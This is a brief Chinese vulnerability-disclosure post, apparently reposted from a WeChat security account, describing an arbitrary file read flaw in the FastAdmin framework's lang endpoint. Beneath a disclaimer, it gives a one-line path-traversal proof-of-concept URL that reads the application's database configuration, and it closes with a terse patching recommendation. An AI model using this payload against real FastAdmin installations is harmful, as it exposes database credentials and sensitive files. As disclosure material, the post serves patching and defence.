免责声明:
1.禁止未授权的渗透测试
2.该文章仅供学习参考,切勿拿去尝试
3.此文所提供的信息而造成的任何后果及损失,均由使用者本人负责
4.一切后果与文章作者无关
5.文章所涉及的全部漏洞,均是被公开的
一.漏洞名称:任意文件读取漏洞
漏洞描述:
FastAdmin框架是一个基于ThinkPHP和Bootstrap的快速开发的后台管理系统框架。
近期,FastAdmin框架被发现存在一个任意文件读取漏洞。
这个漏洞允许攻击者利用系统的缺陷来获取系统敏感信息等。
三.漏洞等级:高危(自评)
四.漏洞证明:
4.1 漏洞poc:
http://127.0.0.1/index/ajax/lang?lang=../../application/database
五.修复建议:
升级补丁,修复漏洞
原文始发于微信公众号(漏洞谷):Fastadmin框架lang接口存在任意文件读取漏洞-(漏洞复现系列)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论